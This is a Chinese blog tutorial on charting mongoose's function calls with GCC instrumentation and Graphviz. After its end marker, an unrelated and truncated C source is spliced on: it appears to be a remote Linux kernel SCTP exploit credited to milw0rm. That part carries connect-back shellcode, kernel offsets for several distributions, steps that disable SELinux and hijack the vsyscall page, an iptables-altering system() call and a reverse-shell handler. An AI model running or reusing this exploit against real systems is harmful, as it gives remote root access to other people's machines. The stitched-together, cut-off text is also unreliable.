如何使用Graphviz显示mongoose的函数调用关系
之前使用Graphviz生成了一张mongoose的函数调用图，这里将讲是怎么生成的。
通过Graphvis生成mongoose的函数调用关系
基本的理论可以参考这里(http://www.ibm.com/developerworks/cn/linux/l-graphvis/), 思路如下:
1. 通过GCC的 -finstrument-functions 和 -g 选项，获得函数调用关系的地址.
2. 使用 Addr2line 将函数地址解析为函数名.
3. 精简函数跟踪数据(可以参考pvtrace, http://download.boulder.ibm.com/ibmdl/pub/software/dw/library/l-graphvis/pvtrace.zip)
4. 使用Graphvis生成图片.
具体的步骤:
1. 在我们编译mongoose的时候，加上 instrument.c 文件。
instrument.c 文件的作用是在我们执行文件的时候，会自动记录函数入口和出口的函数地址，并保存在当前目录下面的trace.txt文件里面。 注意: 在用gcc编译的时候一定要加 -finstrument-functions 和 -g 参数。
在mongoose的Makefile文件中增加instrument.c文件。
原文：
$(CC) $(LINFLAGS) mongoose.c main.c -s -o $(PROG)
改为:
$(CC) $(LINFLAGS) instrument.c mongoose.c main.c -finstrument-functions -g -s -o $(PROG)
2. 编译mongoose.
make linux
3. 运行编译好的mongoose程序，并在当前目录生成一个trace.txt 文件。
3. 下载 pvtrace.zip 并编译。
回生成一个pvtrace程序，这个程序主要是从trace.txt和mongoose中提取函数地址对应的函数名，并生成graphivz的语法树。
4. 使用你编译好的文件pvtrace, 运行mongoose, 来获得graph.dot文件。
5. 使用Graph程序，生成图片, 前提是你必须安装graphivz
Debian/Ubuntu
sudo apt-get install graphviz.
安装完后运行:
dot -Tjpg graph.dot -o graph.jpg
6. Over.
效果图参考: http://wifihack.net/blog/2009/04/mongoose-start-function-call-use-graph/
instrument.c:
/********************************************************************
* File: instrument.c
*
* Instrumentation source — link this with your application, and
* then execute to build trace data file (trace.txt).
*
* Author: M. Tim Jones <mtj@mtjones.com>
*
*/#include <stdio.h>
#include <stdlib.h>/* Function prototypes with attributes */
void main_constructor( void )
__attribute__ ((no_instrument_function, constructor));void main_destructor( void )
__attribute__ ((no_instrument_function, destructor));void __cyg_profile_func_enter( void *, void * )
__attribute__ ((no_instrument_function));void __cyg_profile_func_exit( void *, void * )
__attribute__ ((no_instrument_function));static FILE *fp;
void main_constructor( void )
{
fp = fopen( “trace.txt”, “w” );
if (fp == NULL) exit(-1);
}void main_deconstructor( void )
{
fclose( fp );
}void __cyg_profile_func_enter( void *this, void *callsite )
{
fprintf(fp, “E%p\n”, (int *)this);
}void __cyg_profile_func_exit( void *this, void *callsite )
{
fprintf(fp, “X%p\n”, (int *)this);
}
Ref:
1. 用 Graphviz 可视化函数调用 http://www.ibm.com/developerworks/cn/linux/l-graphvis/
–EOF–
| b3);
return ( crc32 );
}
/* end crc routines */
static char generic_x86_64_shellcode[] =
// prolog
"\x90\x53\x48\x31\xc0\xb0\x66\x0f\x05\x48\x31\xdb"
"\x48\x39\xd8\x75\x0f\x48\x31\xc0\xb0\x02\xcd\x80"
"\x48\x31\xdb\x48\x39\xc3\x74\x09\x5b\x48\x31\xc0"
"\xb0\x60\x0f\x05\xc3"
// connect back
"\x48\x31\xd2\x6a\x01\x5e\x6a\x02\x5f\x6a\x29\x58"
"\x0f\x05\x48\x97\x50\x48\xb9\x02\x00\x0d\x05\x7f"
"\x00\x00\x01\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a"
"\x58\x0f\x05\x48\x31\xdb\x48\x39\xc3\x74\x07\x48"
"\x31\xc0\xb0\xe7\x0f\x05\x90"
"\x6a\x03\x5e\x6a\x21\x58\x48\xff\xce\x0f\x05\x75"
"\xf6\x48\xbb\xd0\x9d\x96\x91\xd0\x8c\x97\xff\x48"
"\xf7\xd3\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48"
"\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05\x48\x31\xc0"
"\xb0\xe7\x0f\x05"
;
static const char __zero[4] = {0x00, 0x00, 0x00, 0x00};
//static char __force_crash[] = "\x41\x41\x41\x41\x41\x41\x41\x41";
static char generic_x86_64_patchjump[] = "\x48\x31\xc0\xb0\x60\x0f\x05\xc3";
static char generic_x86_64_jump[] = "\xe9\x2b\x09\x00\x00\x90";
/* ubuntu 7.04 */
static char ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow[] = "\x00\x40\x56\x80\xFF\xFF\xFF\xFF";
static char ubuntu64_2_6_20_17_server_x86_64_vsys_shadow[] = "\x00\x90\x5B\x80\xFF\xFF\xFF\xFF";
/* ubuntu 8.04 */
static char ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow[] = "\x00\x50\x62\x80\xFF\xFF\xFF\xFF";
static char ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow[] = "\x00\x40\x62\x80\xFF\xFF\xFF\xFF";
static char ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow[] = "\x00\x30\x62\x80\xFF\xFF\xFF\xFF";
static char ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow[] = "\x00\x40\x5d\x80\xFF\xFF\xFF\xFF";
/* ubuntu 8.10 */
static char ubuntu64_2_6_27_7_server_x86_64_vsys_shadow[] = "\x00\x30\x6f\x80\xFF\xFF\xFF\xFF";
static char ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF";
static char ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow[] = "\x00\x40\x6f\x80\xFF\xFF\xFF\xFF";
/* fedora code 10 */
static char fedora64_10_default_kernel_x86_64_vsys_shadow[] = "\x00\x10\x57\x81\xFF\xFF\xFF\xFF";
static char fedora64_10_default_kernel_x86_64_selinux[] = "\x84\xE6\x7C\x81\xFF\xFF\xFF\xFF";
/* opensuse 11.1 */
static char opensuse64_11_1_default_kernel_x86_64_vsys_shadow[]="\x00\x10\x8E\x80\xFF\xFF\xFF\xFF";
#define __msg_f(format, args...) \
do { fprintf(stdout, format, ## args); } while(0)
#define __msg(msg) \
do { fprintf(stdout, "%s", msg); } while(0)
#define __fatal(msg) \
do {fprintf(stderr, "%s", msg); exit(1);} while (0)
#define __fatal_perror(msg) \
do { perror(msg); exit(1); } while (0)
enum {
SLAB_ALLOCATOR=0,
SLUB_ALLOCATOR=1
};
typedef struct
{
const char *name;
const char *info;
char *scode;
__u32 scodesize;
__u32 portoff;
__u32 hostoff;
const char *vsysaddr;
const char *vsysjump;
__u32 vsysjumpsize;
const char *vsyspatchjump;
__u32 vsyspatchjumpsize;
__u32 chunksize;
__u32 slubsize;
__u32 ptrsize;
const char *selinux;
int allocator_type;
} kinfo;
static kinfo *k;
typedef struct
{
const char* target;
const char* rhost;
const char* lhost;
__u16 rport;
__u16 lport;
__u16 sport; // defines associations
__u16 nconn;
} hinfo;
static hinfo h = { NULL, NULL, NULL, 0, 0, 0, 600 };
static kinfo kernels[] = {
{
"ubuntu64_faisty-2.6.20-[15-17]-generic",
"(faisty: generic kernel)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_20_15to17_generic_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
256,
8,
NULL,
SLAB_ALLOCATOR
},
{
"ubuntu64_faisty-2.6.20-17-server",
"(faisty: server kernel - last 2.6.20-17 build)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_20_17_server_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
256,
8,
NULL,
SLAB_ALLOCATOR
},
{
"ubuntu64_hardy-2.6.24-[18-21]-generic",
"(kernel from 2.6.24-18 to kernel 2.6.24-21 -- generic)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_24_18to21_generic_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
96,
8,
NULL,
SLUB_ALLOCATOR
},
{
"ubuntu64_hardy_2.6.24-[16-18]-server",
"(kernel from 2.6.24-16 to 2.6.24-18 -- server)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_24_16to18_server_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
96,
8,
NULL,
SLUB_ALLOCATOR
},
{
"ubuntu64_hardy-2.6.24-[19-22]-server",
"(kernel from 2.6.24-19 to 2.6.24-22 -- server)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_24_19to22_server_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
96,
8,
NULL,
SLUB_ALLOCATOR
},
{
"ubuntu64_hardy-2.6.24-23-last-server",
"(last 2.6.24-23 kernel before patch -- server)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_24_23_last_server_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
96,
8,
NULL,
SLUB_ALLOCATOR
},
{
"ubuntu64_intrepid-2.6.27-7-server",
"(kernel 2.6.27-7 -- server)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_27_7_server_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
96,
8,
NULL,
SLUB_ALLOCATOR
},
{
"ubuntu64_intrepid-2.6.27-[9-last]-server",
"(kernel 2.6.27-9 to the last unpatched kernel -- server)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_27_9tolast_server_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
96,
8,
NULL,
SLUB_ALLOCATOR
},
{
"ubuntu64_intrepid-2.6.27-[7-last]-generic",
"(kernel 2.6.27-9 to the last unpatched kernel -- server)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
ubuntu64_2_6_27_7tolast_generic_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
96,
8,
NULL,
SLUB_ALLOCATOR
},
{
"fedora64_10-2.6.25-117",
"(fedora core 10 default installed kernel)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
fedora64_10_default_kernel_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
96,
8,
fedora64_10_default_kernel_x86_64_selinux,
SLUB_ALLOCATOR
},
{
"opensuse64_11.1-2.6.27.7-9-default",
"(opensuse 11.1 default installed kernel)",
generic_x86_64_shellcode,
sizeof(generic_x86_64_shellcode) -1,
__OFFSET_PORT_64,
__OFFSET_HOST_64,
opensuse64_11_1_default_kernel_x86_64_vsys_shadow,
generic_x86_64_jump,
6,
generic_x86_64_patchjump,
8,
40,
256,
8,
NULL,
SLAB_ALLOCATOR
}
};
/* modular arithmetic shift */
#define __SHIFT_CHECK 0x7FFF
static __u16 shift_0_to_7fff[3] = { 0x7FFF, 0xFFFE, 0x0000 };
static __u16 shift_8000_to_ffff[3] = { 0xFFFF, 0x7FFE, 0x8000 };
/* global streams obj */
static __u16 streams[1000][2];
/* get stream flow */
static int build_stream(const void *data, __u32 size, __u16 fc)
{
int chunk_num,i,j,stnum=0;
__u16 *p;
__u16 *shift;
if(size % 2)
__fatal("[!!!] build_stream: data unaligned");
memset(streams, 0x00, sizeof(streams));
chunk_num = size / 2;
p = (__u16*)data;
for(i=0; i<chunk_num; i++, p++, fc++)
{
__u16 val = *p - 1;
if(val <= __SHIFT_CHECK)
shift = shift_0_to_7fff;
else
shift = shift_8000_to_ffff;
for(j=0; j<3; j++)
{
streams[stnum][0] = fc;
streams[stnum++][1] = shift[j];
}
streams[stnum][0] = fc;
streams[stnum++][1] = val;
}
return stnum ? stnum : 0;
}
/* some sctp packet header structs */
struct sctp_hdr
{
__u16 sport;
__u16 dport;
__u32 vtag;
__u32 checksum;
char chunks[0];
}__attribute__((packed));
struct sctp_chk
{
__u8 type;
__u8 flags;
__u16 len;
char data[0];
}__attribute((packed));
struct sctp_chunk_fwd
{
__u8 type;
__u8 flags;
__u16 len;
__u32 new_tsn;
}__attribute__((packed));
enum
{
SCTP_INIT_ACK = 2,
SCTP_SACK = 3,
SCTP_FWD = 192
};
void disable_abort()
{
/* lame trick to block ABORT chunks from reaching the target!
* ABORT messages are generated because we receive a SACK with an out-of-bound TSN
* in reply to all fake FWD sent
* (when this happens local kernel kills the connection)
*/
system("iptables -t filter -A OUTPUT -p sctp --chunk-types any ABORT -j DROP");
}
#define FWD_MAX_SIZE 0x1000
void *make_fwd_packet(__u16 sp, __u16 dp, __u32 vtag, __u32 tsn,
__u16 streams[][2], int streamlen, int *p_len)
{
int i;
__u16 *pstream;
struct sctp_hdr *hdr;
struct sctp_chunk_fwd *fwd;
__u8 *__buff = malloc(FWD_MAX_SIZE);
memset(__buff, 0, FWD_MAX_SIZE);
hdr = (struct sctp_hdr *)__buff;
hdr->sport = htons(sp);
hdr->dport = htons(dp);
hdr->vtag = htonl(vtag);
hdr->checksum = 0;
fwd = (struct sctp_chunk_fwd *)(hdr->chunks);
fwd->type = SCTP_FWD;
fwd->flags = 0;
fwd->len = htons(4 + 4 + (streamlen * 4)); // chunk + ctsn + streams
fwd->new_tsn = htonl(tsn+1);
/* build stream */
pstream = (__u16 *)((&(fwd->new_tsn)) + 1);
for(i=0; i<streamlen; i++)
{
*pstream++ = streams[i][0];
*pstream++ = streams[i][1];
}
*p_len = ntohs(fwd->len) + sizeof(*hdr);
hdr->checksum = htonl(sctp_crc32c(__buff, (__u32)(*p_len)));
return hdr;
}
/* this function gets VTAG/TSN bound with this socket pair */
int raw_socket_engine(__u16 sp, __u16 sp2, __u16 dp,
__u32 *tsn, __u32 *vtag, __u32 *tsn2, __u32 *vtag2)
{
char packet[1500];
int p_len;
void *end;
struct sctp_hdr *hdr;
struct sctp_chk *chk;
__u32 tmp;
__u16 psp,pdp;
fd_set r;
struct timeval tv;
int raw_fd = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP);
if(raw_fd < 0)
__fatal_perror("socket: RAW/SCTP");
FD_ZERO(&r);
FD_SET(raw_fd, &r);
tv.tv_usec=0;
tv.tv_sec=10;
while(select(raw_fd + 1, &r, NULL,NULL,&tv) > 0)
{
p_len = read(raw_fd, packet, sizeof(packet));
end = packet + p_len;
hdr = (struct sctp_hdr *)(packet + sizeof(struct iphdr));
if((void*)(((char *)hdr)+4) >= end)
continue;
/* check for chunk */
chk = (struct sctp_chk *)(hdr->chunks);
tmp = ntohl(*((__u32*)(chk->data)));
psp = ntohs(hdr->sport);
pdp = ntohs(hdr->dport);
if(chk->type == SCTP_SACK)
{
if(psp == dp && pdp == sp)
*tsn = tmp;
if(psp == dp && pdp == sp2)
*tsn2 = tmp;
}
if(chk->type == SCTP_INIT_ACK)
{
if(psp == dp && pdp == sp)
*vtag = tmp;
if(psp == dp && pdp == sp2)
*vtag2 = tmp;
}
if(*vtag && *tsn && *vtag2 && *tsn2)
break;
FD_ZERO(&r);
FD_SET(raw_fd, &r);
tv.tv_usec=0;
tv.tv_sec=10;
}
return 0;
}
/* global vars */
static __u16 sport=0;
static __u16 sport2=0;
static __u32 vtag=0, vtag2=0;
static __u32 tsn=0, tsn2=0;
static struct sockaddr_in server_sctp;
int raw_sctp=-1;
#define STACK_SIZE 0x1000
char clone_stack[STACK_SIZE*2];
static void send_fwd_chunk(__u16 sp, __u16 dp, __u16 streams[][2],
int streamlen, __u32 vtag, __u32 tsn)
{
int p_len=0, ret;
void *packet = make_fwd_packet(sp, dp, vtag, tsn, streams, streamlen, &p_len);
ret = sendto(raw_sctp, packet, p_len, 0, (struct sockaddr *)&server_sctp, sizeof(struct sockaddr_in));
if(ret < 0)
__fatal_perror("sendto: sending FWD chunk");
free(packet);
}
static int clone_thread(void *p)
{
raw_socket_engine(sport, sport2, h.rport, &tsn, &vtag, &tsn2, &vtag2);
return 0;
}
static int make_sctp_connection(__u16 sp, __u16 dp, int data)
{
struct sctp_initmsg msg;
int ret,o=1,fd;
socklen_t len_sctp=sizeof(struct sctp_initmsg);
struct sockaddr_in s,c;
fd = socket(PF_INET, SOCK_STREAM, IPPROTO_SCTP);
if(fd < 0)
__fatal_perror("socket: sctp SOCK_STREAM");
ret = setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o));
if (ret < 0)
__fatal_perror("setsockopt: SO_REUSEADDR");
/* NOTE: here we assume server peer allocates 10 output streams (as default)
* if the applciation behaves differently you must probe and change channels size
* to get the correct slab */
if(k->allocator_type == SLAB_ALLOCATOR) // if SLAB change channel size
{
getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
msg.sinit_num_ostreams=50; // force 256 slab allocation
msg.sinit_max_instreams=10;
setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
}
else
{
getsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, &len_sctp);
msg.sinit_num_ostreams=10; // force 96 slab allocation
msg.sinit_max_instreams=10;
setsockopt(fd, SOL_SCTP, SCTP_INITMSG, &msg, len_sctp);
}
if(sp)
{
c.sin_family = PF_INET;
c.sin_port = htons(sp);
c.sin_addr.s_addr = INADDR_ANY;
ret = bind(fd, (struct sockaddr *)&c, sizeof(c));
if(ret < 0)
__fatal_perror("bind: sctp socket");
}
s.sin_family = PF_INET;
s.sin_port = htons(dp);
s.sin_addr.s_addr = inet_addr(h.rhost);
ret = connect(fd, (struct sockaddr *)&s, sizeof(s));
if(ret < 0)
__fatal_perror("connect: sctp socket");
/* send one byte of data to get correctly
* TSN from raw socket (from SACK replies)
*/
if(data)
{
ret = send(fd, "", 1, 0);
if(ret < 0)
__fatal_perror("send: sctp socket data");
}
return fd;
}
static void htons_streams(__u16 s[][2], int len)
{
int i;
for(i=0; i<len; i++)
{
s[i][0] = htons(s[i][0]);
s[i][1] = htons(s[i][1]);
}
}
static void usage()
{
fprintf(stderr, "./sctp_houdini \n\t"
"-H lhost (local host address for connect back shel)\n\t"
"-P lport (local port address for connect back shell)\n\t"
"-h rhost (remote target host)\n\t"
"-p rport (remote target port)\n\t"
"-t kernel (target kernel)\n\t"
"-s sport (source port defining sctp association where corruption occurs)\n\t"
" (always use higher port if you run the exploit multiple times eg. 20000, 21000, etc..)\n\t"
" (NEVER reuse the same or next port or vsys will be trashed and init will die soon...)\n\t"
"-c conn (number of connectionis before corruption - default 600)\n"
);
}
static void sctp_getopt(int argc, char *argv[])
{
int ret,i;
while((ret = getopt(argc, argv, "H:P:p:h:t:c:s:")) != -1)
{
switch(ret)
{
case 'P':
h.lport = atoi(optarg);
break;
case 'p':
h.rport = atoi(optarg);
break;
case 't':
h.target = optarg;
break;
case 'h':
h.rhost = optarg;
break;
case 'H':
h.lhost = optarg;
case 'c':
h.nconn = atoi(optarg);
break;
case 's':
h.sport = atoi(optarg);
break;
}
}
if(!h.lport || !h.rport || !h.rhost || !h.target || !h.lhost || !h.sport)
{
usage();
exit(1);
}
if(h.sport < h.nconn+1)
{
fprintf(stderr, "Source Association Port is too low: %d\n", h.sport);
usage();
exit(1);
}
sport=h.sport;
sport2=h.sport + 1;
for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++)
{
if(!strcmp(h.target, kernels[i].name))
{
k = &kernels[i];
break;
}
}
if(k==NULL)
{
fprintf(stderr, "Unable to find target: %s\nAvailable targets are:\n", h.target);
for(i=0; i < sizeof(kernels)/sizeof(kinfo); i++)
{
fprintf(stderr, "- %s %s\n", kernels[i].name, kernels[i].info);
}
exit(1);
}
}
void patchjump()
{
int ret;
__msg("[**] Restoring vsys: Emulate gettimeofday()... \n");
ret = build_stream(k->vsyspatchjump, k->vsyspatchjumpsize, 0);
if(ret < 0)
__fatal("Error Building Streams...");
htons_streams(streams, ret);
send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
}
static void multiplex(int listenfd)
{
int ret,new_fd;
fd_set r;
struct timeval t;
char buffer[1500];
FD_ZERO(&r);
FD_SET(listenfd, &r);
t.tv_sec = 3;
t.tv_usec = 0;
__msg("[**] Waiting daemons executing gettimeofday().. this can take up to one minute...\n");
__msg("[**] ..");
fflush(stdout);
while(select(listenfd+1, &r, NULL, NULL, &t) == 0)
{
printf("..");
fflush(stdout);
t.tv_sec = 3;
t.tv_usec = 0;
FD_ZERO(&r);
FD_SET(listenfd, &r);
}
__msg("..\n");
new_fd = accept(listenfd, NULL, 0);
if(new_fd < 0)
__fatal_perror("accept: listen fd");
__msg("[**] Connected!\n");
patchjump();
close(listenfd);
write(new_fd, "id\n", 3);
FD_ZERO(&r);
FD_SET(new_fd, &r);
FD_SET(0, &r);
while(select(new_fd+1, &r, NULL, NULL, NULL) > 0)
{
if(FD_ISSET(0, &r)) // read from stdin
{
ret = read(0, buffer, sizeof(buffer));
if(ret < 0)
__fatal_perror("read: from stdin");
else
ret = write(new_fd, buffer, ret);
}
if(FD_ISSET(new_fd, &r))
{
ret = read(new_fd, buffer, sizeof(buffer));
if(!ret) {
__msg("Endopoint closed the connection\n");
break;
}
else if(ret > 0)
{
write(1, buffer, ret);
}
else
__fatal_perror("read: from net");
}
FD_ZERO(&r);
FD_SET(new_fd, &r);
FD_SET(0, &r);
}
}
/* needed when exploiting old SLAB */
void swap_to_SLAB_chunk()
{
__u32 tmp;
__u16 tmp16;
tmp = tsn;
tsn = tsn2;
tsn2 = tmp;
tmp = vtag;
vtag = vtag2;
vtag2 = tmp;
tmp16 = sport;
sport = sport2;
sport2 = tmp16;
}
int main(int argc, char **argv)
{
int ret, fd, i, listenfd,o=1;
struct sockaddr_in l;
__u32 lh;
__u16 lp;
sctp_getopt(argc, argv);
listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if(setsockopt(listenfd, SOL_SOCKET, SO_REUSEADDR, (char *)&o, sizeof(o)) < 0)
__fatal_perror("setsockopt: SO_REUSEADDR");
l.sin_family = PF_INET;
l.sin_port = htons(h.lport);
l.sin_addr.s_addr = inet_addr(h.lhost);
if(bind(listenfd, (struct sockaddr *)&l, sizeof(l)) < 0)
__fatal_perror("bind: sock");
if(listen(listenfd, 4) < 0)
__fatal_perror("listen: sock");
/* set connect back params */
lh = inet_addr(h.lhost);
lp = htons(h.lport);
memcpy(k->scode + k->portoff, &lp, 2);
memcpy(k->scode + k->hostoff, &lh, 4);
raw_sctp = socket(PF_INET, SOCK_RAW, IPPROTO_SCTP);
if(raw_sctp < 0)
__fatal_perror("socket: RAW/SCTP montitor socket");
server_sctp.sin_family = PF_INET;
server_sctp.sin_port = htons(h.rport);
server_sctp.sin_addr.s_addr = inet_addr(h.rhost);
__msg("[**] Monitoring Network for TSN/VTAG pairs.. \n");
ret = clone(clone_thread, clone_stack+STACK_SIZE-8, CLONE_VM|SIGCHLD, NULL);
if(ret < 0)
__fatal_perror("clone");
sleep(1);
__msg("[**] Start flushing slub cache...\n");
for(i=0; i<=h.nconn; i++)
{
__u16 p = sport-(h.nconn-1)+i;
if(p == sport || p== sport2)
fd = make_sctp_connection(p, h.rport, 1);
else
fd = make_sctp_connection(sport-(h.nconn-1)+i, h.rport, 0);
// usleep(10);
}
disable_abort();
/* wait for monitoring engine */
wait(NULL);
if(k->allocator_type == SLAB_ALLOCATOR)
swap_to_SLAB_chunk();
if(vtag && tsn && vtag2 && tsn2)
{
__u32 acc;
__msg_f("[**] Using TSN/VTAG pairs: (TSN: %x <=> VTAG: %x) / (TSN: %x <=> VTAG: %x)...\n", tsn, vtag, tsn2, vtag2);
sleep(1);
if(k->selinux)
{
__msg("[**] Overwriting neightboard sctp map..\n");
acc = (k->slubsize - k->chunksize) / 2;
ret = build_stream(k->selinux, k->ptrsize, acc);
if(ret < 0)
__fatal("Error Building Streams...");
htons_streams(streams, ret);
send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn);
__msg("[**] Disabling Selinux Enforcing Mode..\n");
ret = build_stream(__zero, 4, 0);
if(ret < 0)
__fatal("Error Building Streams...");
htons_streams(streams, ret);
send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
}
__msg("[**] Overwriting neightboard sctp map ......\n");
acc = (k->slubsize - k->chunksize) / 2;
ret = build_stream(k->vsysaddr, k->ptrsize, acc);
if(ret < 0)
__fatal("Error Building Streams...");
htons_streams(streams, ret);
send_fwd_chunk(sport, h.rport, streams, ret, vtag, tsn);
__msg("[**] Overwriting vsyscall shadow map..\n");
acc = 0x930 / 2;
ret = build_stream(k->scode, k->scodesize, acc); //1176
if(ret < 0)
__fatal("Error Building Streams...");
htons_streams(streams, ret);
send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
__msg("[**] Hijacking vsyscall shadow map..\n");
ret = build_stream(k->vsysjump, k->vsysjumpsize, 0);
if(ret < 0)
__fatal("Error Building Streams...");
htons_streams(streams, ret);
send_fwd_chunk(sport2, h.rport, streams, ret, vtag2, tsn2);
sleep(1);
}
else
__fatal("VTAG/TSN not found: network error");
multiplex(listenfd);
__msg("[**] Closing Connection... \n");
return 0;
}
// milw0rm.com [2009-04-28]
参考:
1. http://milw0rm.com/exploits/8556
2. 
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